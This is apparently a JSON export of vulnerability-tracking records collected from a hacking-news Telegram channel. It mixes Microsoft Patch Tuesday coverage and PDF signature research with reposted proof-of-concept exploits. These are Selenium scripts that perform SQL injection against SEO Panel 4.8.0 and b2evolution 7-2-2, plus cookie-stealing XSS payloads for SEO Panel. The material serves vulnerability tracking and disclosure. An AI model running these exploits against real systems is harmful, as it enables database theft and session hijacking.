Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-09T00:00:33.319797Z"}, {"uuid": "e23a0975-b015-4859-9c01-9e102b67933e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/hacking_Attack/8312", "content": "includes the fix for CVE-2021-31207, which made its debut in the 2021 Pwn2Own competition,\u201d he said.\n\nThe bug tracked as CVE-2021-31207 is only rated as \u201cmoderate,\u201d but the \u201csecurity feature-bypass exploit was showcased prominently in the Pwn2Own contest and at some point details of the exploit will be published,\u201d Goettl explained. \u201cAt that point threat actors will be able to take advantage of the vulnerability if they have not already begun attempting to reverse engineer an exploit.\u201d\n\nThere two other publicly disclosed vulnerabilities resolved by Microsoft this month that exist in Common Utilities, found in the NNI open-source toolkit (CVE-2021-31200), and in .NET and Visual Studio (CVE-2021-31204).\n\n\u201cCommon Utilities and .NET and Visual Studio are less likely to be targeted, but due to the public disclosures they should not be ignored for long,\u201d Goettl added. Other Notable Microsoft Security Patches for May 2021As for the other patches in the update that stood out to the research community, ZDI\u2019s Childs highlighted a Windows wireless networking information-disclosure bug, tracked as CVE-2020-24587.\n\n\u201cThe ZDI doesn\u2019t normally highlight info disclosure bugs, but this one has the potential to be pretty damaging,\u201d Childs said. \u201cThis patch fixes a vulnerability that could allow an attacker to disclose the contents of encrypted wireless packets on an affected system. It\u2019s not clear what the range on such an attack would be, but you should assume some proximity is needed. You\u2019ll also note this CVE is from 2020, which could indicate Microsoft has been working on this fix for some time.\u201d Windows Graphics, SharePoint Server PatchesA trio of local privilege escalation flaws \u2013 two in the Windows Graphics Component (CVE-2021-31188, CVE-2021-31170) and one in SharePoint Server (CVE-2021-28474) \u2013 caught Breen\u2019s eye.\n\nAs for the first two, he noted they could be chained with another bug, such as the wormable bug listed above, to become highly dangerous and allow for WannaCry-style attacks.\n\n\u201cThis kind of vulnerability is often used by attackers after they have already gained a foothold through an initial infection vector, like phishing or via another exploit like the RCE in HTTP.sys (CVE-2021-31166),\u201d Breen noted via email. \u201cThe attackers are looking to increase their privileges so they can move laterally across a network or gain access to other accounts that may have access to more sensitive information.\u201d\n\nMeanwhile, the SharePoint bug allows an authenticated attacker to run code on remote SharePoint Servers.\n\n\u201cAs this is post-authentication, it\u2019s likely to be used as part of post-exploitation and lateral movement phases of an attack, rather than the initial-infection vector,\u201d Breen said. \u201cAttackers could gain access to sensitive documents or even replace real documents with weaponized versions, enabling the compromise of more user devices across the organization\u2019s network.\u201d Microsoft Exchange Server PatchesMicrosoft also patched four vulnerabilities in Microsoft Exchange Server. The flaws (CVE-2021-31198, RCE; CVE-2021-31207, spoofing; CVE-2021-31209, security bypass; and CVE-2021-31195, RCE), are all rated important or moderate.\n\n\u201cCVE-2021-31195 is attributed to Orange Tsai of the DEVCORE research team, who was responsible for disclosing the ProxyLogon Exchange Server\u00a0vulnerabilities that [were] patched in an out-of-band release back in March,\u201d Satnam Narang, staff research engineer with Tenable, told Threatpost. \u201cWhile none of these flaws are deemed critical in nature, it is a reminder that researchers and attackers are still looking closely at Exchange Server for additional vulnerabilities, so organizations that have yet to update their systems should do so as soon as possible.\u201d\n\nAnd finally, Ivanti\u2019s Goettl noted that several Microsoft products have reached end-of-life and won\u2019t be getting support going forward.\n\n\u201cThis month marks the final update for several Windows 10 and Server [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:38.611329Z"}, {"uuid": "04b67681-df49-4573-8239-85adbd218425", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/6551", "content": "Exploit Collector\nSEO Panel 4.8.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nSEO Panel version 4.8.0 remote blind SQL injection exploit. Original discovery in this version is attributed to Piyush Patil in February of 2021.\n\nMD5 | 4b18d3433a071c4d3f98f08f8abcd113\n\nDownload\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 04.25.2021\n# Vendor: https://www.seopanel.org/\n# Link: https://www.seopanel.org/spdownload/4.8.0\n# CVE: CVE-2021-28419\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28419\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.3/seopanel/login.php\"\n\n#enter your login username\nusername=\"spadmin\"\n\n#enter your login password\npassword=\"spadmin\"\n\n#enter the element for username input field\nelement_for_username=\"userName\"\n\n#enter the element for password input field\nelement_for_password=\"password\"\n\n#enter the element for submit button\nelement_for_submit=\"login\"\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit\nbrowser.get((\"\nhttp://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT\n7397 FROM\n(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1\"))\n\nprint(\"payload is deployed MySQL is not responding correctly...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Date: 04.25.2021\n# Exploit Authotr idea: @nu11secur1ty, xoffense\n# Exploit Debugging: nu11secur1ty\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link: https://www.seopanel.org/spdownload/4.8.0\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:35.495726Z"}, {"uuid": "03014f3e-29d8-4c2f-93f6-41c265beb3c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28242", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/7570", "content": "Exploit Collector\nb2evolution 7-2-2 SQL Injection\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png b2evolution version 7-2-2 suffers from a remote SQL injection vulnerability.\n\nMD5 | 1ced09b619490337be3ea86e23221667Download # Exploit Title: b2evolution 7-2-2 obtaining sensitive database information by injecting SQL commands into the \"cf_name\" parameter\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 05.06.2021\n# Vendor: https://b2evolution.net/\n# Link: https://b2evolution.net/downloads/7-2-2\n# CVE: CVE-2021-28242\n# Proof: https://streamable.com/x51kso\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28242\nfrom selenium import webdriver\nimport time\n# Vendor: https://typo3.org/\nwebsite_link=\"\nhttp://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link\n\"\n\n# enter your login username\nusername=\"admin\"\n\n# enter your login password\npassword=\"FvsDq7fmHvWF\"\n\n#enter the element for username input field\nelement_for_username=\"x\"\n\n#enter the element for password input field\nelement_for_password=\"q\"\n\n#enter the element for submit button\nelement_for_submit=\"login_action[login]\"\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit vulnerability MySQL obtain sensitive database information by\ninjecting SQL commands into the \"cf_name\" parameter\ntime.sleep(7)\n# Receaving sensitive info for evo_users\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_blogs\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_section\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\"))\ntime.sleep(7)\nbrowser.close()\nprint(\"At the time, of the exploit, you had to see information about the\ntables...\\n\")\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Sorry, your exploit is not working for some reasons...\")\n\n---------------------------------\n\n# Exploit Title: b2evolution 7-2-2 obtaining sensitive database information\nby injecting SQL commands into the \"cf_name\" parameter\n# Date: 05.06.2021\n# Exploit Authotr idea: @nu11secur1ty\n# Exploit Debugging: @nu11secur1ty\n# Vendor Homepage: https://b2evolution.net/\n# Software Link: https://b2evolution.net/downloads/7-2-2\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28242\n\n-- \nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://www.exploit-db.com/\nhttps://www.nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\nnu11secur1ty <http: Source:packetst[...]", "creation_timestamp": "2026-09-09T00:00:37.565741Z"}, {"uuid": "85ac52bf-e073-4703-b117-c3fcd313fde3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8310", "content": "Black Hat Ethical Hacking\nWormable Windows Bug Opens Door to DoS, RCE\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Wormable Windows Bug Opens Door to DoS, RCEPost Views: 89 \nReading Time: 2 Minutes\nMicrosoft\u2019s May 2021 Patch Tuesday updates include fixes for four critical security vulnerabilities, including a\u00a0patch for a concerning wormable vulnerability found in the Windows OS.\nThe good news is that none of the vulnerabilities are being actively exploited in the wild, according to Microsoft, though three are listed as publicly known. The fixes\u00a0address security flaws across Microsoft Windows, .NET Core and Visual Studio, Internet Explorer (IE), Microsoft Office, SharePoint Server, Open-Source Software, Hyper-V, Skype for Business and Microsoft Lync, and Exchange Server. Besides the four critical bugs, 50 are rated \u201cimportant\u201d and one is moderate in severity. Critical Microsoft Security Patches for May 2021The critical bugs in this month\u2019s Patch Tuesday release are:\n\n* CVE-2021-31166: A wormable HTTP protocol-stack issue in Windows 10 and some versions of Windows Server allowing remote code-execution (RCE)\n* CVE-2021-26419: A scripting-engine memory corruption vulnerability in Internet Explorer 11 and 9 allowing RCE\n* CVE-2021-31194: An RCE bug in the Microsoft Windows Object Linking and Embedding (OLE) Automation\n* CVE-2021-28476: An RCE vulnerability in Microsoft Windows Hyper-V CVE-2021-31166 \u2013 WormableThis most concerning critical bug for researchers is an HTTP protocol-stack issue that would allow RCE with kernel privileges or a denial-of-service (DoS) attack. The HTTP protocol stack enables Windows and applications to communicate with other devices; it can be run standalone or in conjunction with Internet Information Services (IIS).\n\n\u201cIf exploited, this vulnerability could enable an unauthenticated attacker to send a specially crafted packet to a targeted server utilizing the HTTP protocol stack (http.sys) to process packets and ultimately, execute arbitrary code, and take control of the affected system,\u201d Eric Feldman, cybersecurity researcher with Automox, wrote in an analysis.\nSee Also: Lemon Duck Cryptojacking Botnet Changes Up Tactics Worse, Microsoft noted that the bug is wormable, so that it could be used to self-replicate across the internal network and affect internal services that may not have been exposed.\n\n\u201cThe vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated DoS (Blue Screen of Death) for affected products,\u201d Steve Povolny, head of advanced threat research and principle engineer at McAfee, said via email. \u201cWhile this vulnerability has the potential to lead to code execution in the Windows kernel, this type of weaponization is a much higher bar for exploitation. However, if RCE can be achieved, cybercriminals would likely have the capability to create a worm, leading to self-propagation of the vulnerability across networks and the internet.\u201d\n\n\u201cFor ransomware operators, this kind of vulnerability is a prime target for exploitation,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cWormable exploits should always be a high priority, especially if they are for services that are designed to be public facing. As this specific exploit would not require any form of authentication, it\u2019s even more appealing for attackers, and any organization using HTTP.sys protocol stack should prioritize this patch.\u201d\n\nDustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative (ZDI), noted in a blog, \u201cBefore you pass this aside, Windows 10 can also be configured as a web server, so it [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:38.253843Z"}, {"uuid": "9928f2aa-7772-4a59-840a-b7e731192ded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8311", "content": "is impacted as well. Definitely put this on the top of your test-and-deploy list.\u201d CVE-2021-26419This second critical bug affecting Microsoft\u2019s legacy browser allows RCE, and offers several avenues of attack, according to researchers.\n\n\u201cIn a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website,\u201d explained Feldman. \u201cAn attacker could also embed an ActiveX control marked \u2018safe for initialization\u2019 in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.\u201d\nSee Also: Offensive Security Tool: EyeWitness The best way to counteract this bug is ditching IE, noted Breen.\n\n\u201cInternet Explorer needs to die \u2013 and I\u2019m not the only one that thinks so,\u201d he told Threatpost. \u201cIf you are an organization that has to provide IE11 to support legacy applications, consider enforcing a policy on the users that restricts the domains that can be accessed by IE11 to only those legacy applications. All other web browsing should be performed with a supported browser.\u201d CVE-2021-31194The third critical bug exists in the Microsoft Windows OLE Automation, which in and of itself should place it on the priority-patch list, according to researchers.\n\n\u201cTo exploit the vulnerability, an attacker could host a specially crafted website designed to invoke OLE automation through a web browser,\u201d explained Justin Knapp, Automox researcher. \u201cHowever, this approach requires that the attacker bait a user into visiting the maliciously crafted website.\u201d\n\nHe pointed out that OLE technology has frequently been used to mask malicious code within documents and for linking to external files that infect systems with malware.\n\n\u201cIn 2020, the CISA released an alert detailing the top 10 routinely exploited vulnerabilities, which identified Microsoft\u2019s OLE as the most commonly exploited technology by state-sponsored cyber-actors,\u201d he said. \u201cConsidering the prevalent exploitation of OLE vulnerabilities, including those that had been flagged years ago, organizations should immediately prioritize patching all outstanding OLE vulnerabilities.\u201d See Also: Hacking Stories: Xbox UndergroundCVE-2021-28476The last critical bug is found in Windows Hyper-V, which is a native hypervisor that can create and run virtual machines on x86-64 systems running Windows. It can allow an attacker to execute arbitrary code, Knapp said:\u00a0\u201cTo exploit this vulnerability, an attacker could run a specially crafted application on a Hyper-V guest that could cause the Hyper-V host operating system to execute arbitrary code when it fails to properly validate vSMB packet data. Successful exploitation could enable an attacker to run malicious binaries on Hyper-V virtual machines or execute arbitrary code on the host system itself.\u201d\n\nThat said, Microsoft noted that an attacker is more likely to abuse the bug for DoS attacks in the form of a system crash rather than RCE, Childs pointed out, which mitigates the vulnerability\u2019s CVSS score of 9.9.\n\n\u201cBecause of this, it could be argued that the attack complexity would be high, which changes the CVSS rating to 8.5,\u201d he said. \u201cThat still rates as high-severity, but not critical. Still, the bug check [system crash] alone is worth making sure your Hyper-V systems get this update.\u201d Publicly Disclosed VulnerabilitiesChris Goettl, senior director of product management at Ivanti, told Threatpost that the biggest patching priority should be the publicly disclosed bugs \u2013 even though there is as yet no known malicious exploitation.\n\n\u201cThe top concern from the Microsoft updates this month is the update for Microsoft Exchange that[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:38.474501Z"}, {"uuid": "766b983c-f6a4-463c-b1bd-d98f36c5222a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28418", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:41.247213Z"}, {"uuid": "93757bcd-319e-412f-99e1-30a0367c4942", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:41.193591Z"}, {"uuid": "ea336972-34d4-4cd9-bbec-fc4e346d92f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28546", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/10387", "content": "Black Hat Ethical Hacking\nPDF Feature \u2018Certified\u2019 Widely Vulnerable to Attack\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PDF Feature \u2018Certified\u2019 Widely Vulnerable to AttackPost Views: 161 \nReading Time: 1 Minute\nCertified portable document format (PDF) files are used to securely sign agreements between two parties while keeping the contents\u2019 integrity protected, but a new report found the security protections on most certified PDF applications were inadequate and left organizations exposed to a number of attacks.\nResearchers from Ruhr University Bochum explained certified PDFs use two specific signatures to authenticate the document, an Approval signature and a Certification signature. Certification signatures are the more flexible and made to handle complicated agreements between multiple parties and allow some changes to the document within a set of parameters while still maintaining its validity.\n\nUnsurprisingly, Certified signatures are where the team found vulnerabilities to two specific novel attacks they dubbed, \u201cEvil Annotation\u201d (EAA) and \u201cSneaky Signature\u201d (SSA). Both allow an attacker to overlay malicious content\u00a0(PDF) on top of the certified information without showing any signs it was altered. Novel Certified PDF Attacks EAAs display malicious content in the document\u2019s annotations and then sends it on with its digital signature intact. SSAs add malicious content over legitimate content in the PDF itself.\n\nThe team said the results of its evaluation of the 26 most popular PDF applications were \u201calarming.\u201d\nSee Also: Pulse Secure VPNs Get Quick Fix for Critical RCE \u201cIn only 2 cases, we could not find a vulnerability; 15 viewers were vulnerable to EAA, 8 to SSA, including Adobe, Foxit, and LibreOffice,\u201d the report said. \u201cWe additionally analyzed the standard-compliant implementation of PDF certification applications and found issues in 11 of them.\u201d\n\nAdobe had an additional flaw that allowed certified documents to execute JavaScript code, opening these users to code in injection attacks.\n\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/05/26161319/Evil-Annotation-PDF-Research_10-300x187.jpg \u201cFor example, a high-level JavaScript can call an arbitrary URL without user confirmation to deanonymize a user. Our research reveals that such code is also executed if it is added as an allowed incremental update. We are the first to reveal that this behavior allows attackers to directly embed malicious code into a certified document.\n\nThe team said it disclosed their findings to the appropriate vendors and provided a comprehensive vulnerability report, including exploits, to CERT-Bund (BSI). The report also lists the specific certified PDF security flaws\u00a0found in each application.\n\n\u201cAdobe, Foxit, and LibreOffice responded quickly and provided patches for late 2020 (CVE-2020-35931) or early 2021 (CVE2021-28545, CVE-2021-28546),\u201d the report said. \u201cAdobe fixed the code injection vulnerability in early Nov. 2020 within a patch outside the regular update cycle (CVE-2020-24432). Currently, we participate in the standardization process via the German National Organization for Standardization (DIN) and the International Organization for Standardization (ISO) to address the reported attacks in the next PDF specification.\u201d\nSee Also: Offensive Security Tool: Snallygaster Stopping Certified PDF AttacksTo fend off Evil Annotation Attacks, the researchers recommend admins prohibit three particularly risky annotations that allow text or images to be added to a certified PDF, \u201cFreeText, Stamp and Redact.\u201d\n\nSneaky Signatures can be blocked by reducing permissions, but that is not a guarantee SSAs won\u2019t g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:40.534017Z"}, {"uuid": "a56dc88e-74c8-4555-9276-54de06c8addd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/hacking_Attack/12056", "content": "vulnerability in Chrome and Chromium browsers that allows attackers to exploit the Chrome renderer process (the processes that are responsible for what happens inside users\u2019 tabs).\nKaspersky experts did find and analyze the second exploit, however: An elevation of privilege exploit that exploits two distinct vulnerabilities in the Microsoft Windows OS kernel: CVE-2021-31955 and CVE-2021-31956. The CVE-2021-31955 bug \u201cis affiliated with SuperFetch, a feature first introduced in Windows Vista that aims to reduce software loading times by pre-loading commonly used applications into memory,\u201d they explained.\n\nThe second flaw, CVE-2021-31956, is an Elevation of Privilege vulnerability and heap-based buffer overflow. Kaspersky said that attackers used this vulnerability alongside Windows Notification Facility (WNF) \u201cto create arbitrary memory read/write primitives and execute malware modules with system privileges.\u201d\n\n\u201cOnce the attackers have used both the Chrome and Windows exploits to gain a foothold in the targeted system, the stager module downloads and executes a more complex malware dropper from a remote server,\u201d they continued. \u201cThis dropper then installs two executables, which pretend to be legitimate files belonging to Microsoft Windows OS. The second of these two executables is a remote shell module, which is able to download and upload files, create processes, sleep for certain periods of time, and delete itself from the infected system.\u201d\n\nBoris Larin, senior security researcher with Kaspersky\u2019s Global Research and Analysis Team (GReAT), said that the team hasn\u2019t been able to link these highly targeted attacks to any known threat actor: Hence the name PuzzleMaker and the determination to closely monitor the security landscape \u201cfor future activity or new insights about this group,\u201d he was quoted as saying in the press release.\n\nIf the current trend is any indication, expect to see more of the same, Larin said. \u201cOverall, of late, we\u2019ve been seeing several waves of high-profile threat activity being driven by zero-day exploits,\u201d he said. \u201cIt\u2019s a reminder that zero days continue to be the most effective method for infecting targets. Now that these vulnerabilities have been made publicly known, it\u2019s possible that we\u2019ll see an increase of their usage in attacks by this and other threat actors. That means it\u2019s very important for users to download the latest patch from Microsoft as soon as possible.\u201d CVE-2021-31199/CVE-2021-31201The two Enhanced Cryptographic Provider Elevation of Privilege vulnerabilities are linked to the Adobe Reader bug that came under active attack\u00a0last month (CVE-2021-28550), ZDI explained. \u201cIt\u2019s common to see privilege escalation paired with code execution bugs, and it seems these two vulnerabilities were the privilege escalation part of those exploits,\u201d he explained. \u201cIt is a bit unusual to see a delay between patch availability between the different parts of an active attack, but good to see these holes now getting closed.\u201d CVE-2021-33739Breen noted that privilege escalation vulnerabilities such as this one in the Microsoft DWM Core Library are just as valuable to attackers as RCEs. \u201cOnce they have gained an initial foothold, they can move laterally across the network and uncover further ways to escalate to system or domain-level access,\u201d he said. \u201cThis can be hugely damaging in the event of ransomware attacks, where high privileges can enable the attackers to stop or destroy backups and other security tools.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-1-1-90x90.png RockYou2021: largest password compilation of all time leaked online \u2013 8.4 billion entries17 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/microsoft-exploit-90x90.jpg Windows Container Malware Targets Kubernetes Clusters1 day ago\n* https://www.blackhatethicalhacking[...]\n\n___________________________ 